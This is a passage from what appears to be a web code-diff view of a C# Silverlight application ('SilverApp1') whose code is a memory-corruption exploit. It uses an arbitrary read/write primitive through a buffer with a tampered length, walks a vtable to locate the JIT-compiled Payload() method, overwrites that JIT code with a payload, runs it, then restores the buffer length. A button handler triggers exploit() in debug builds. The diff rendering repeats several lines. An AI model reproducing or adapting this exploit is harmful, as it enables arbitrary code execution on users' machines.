// so we can set any custom ums._mem pointer and read/write data starting from this pointer
|
||||
|
||||
// exec payload
|
||||
int res = Payload();
|
||||
// get (this.type + 72) -> (vtable + 16) -> Payload() address
|
||||
bb = new byte[8];
|
||||
addr = Read(Read(Read(addr) + 9*8) + 16);
|
||||
//for (uint i = 0; i < 16; i++) LogAdd(Hex(Read(addr + i*8))); // for RnD
|
||||
LogAdd("Payload() address = " + Hex(addr));
|
||||
if (addr == 0) throw new Exception("Can't find Payload() address");
|
||||
|
||||
// restore JIT memory
|
||||
//Exchange(addr, payload);
|
||||
// copy payload over JIT-code memory
|
||||
Exchange(addr, payload);
|
||||
|
||||
LogAdd("Payload() returns " + Hex(res));
|
||||
}
|
||||
catch (Exception ex) {
|
||||
LogAdd("Error: " + ex.ToString());
|
||||
}
|
||||
// exec payload
|
||||
int res = Payload();
|
||||
|
||||
// restore buf[] length
|
||||
if (bb != null) {
|
||||
Write(bufAddr + 8, (ulong)oldLen);
|
||||
LogAdd("buf.Length = " + Hex(buf.Length));
|
||||
}
|
||||
}
|
||||
}
|
||||
// restore JIT memory
|
||||
//Exchange(addr, payload);
|
||||
|
||||
LogAdd("Payload() returns " + Hex(res));
|
||||
}
|
||||
catch (Exception ex) {
|
||||
LogAdd("Error: " + ex.ToString());
|
||||
}
|
||||
|
||||
// restore buf[] length
|
||||
if (bb != null) {
|
||||
Write(bufAddr + 8, (ulong)oldLen);
|
||||
LogAdd("buf.Length = " + Hex(buf.Length));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void exploit()
|
||||
{
|
||||
|
|
@ -561,12 +561,12 @@ namespace SilverApp1
|
|||
}
|
||||
|
||||
|
||||
void btnClickMe_Click(object sender, RoutedEventArgs e)
|
||||
void btnClickMe_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
#if DEBUG
|
||||
exploit();
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in New Issue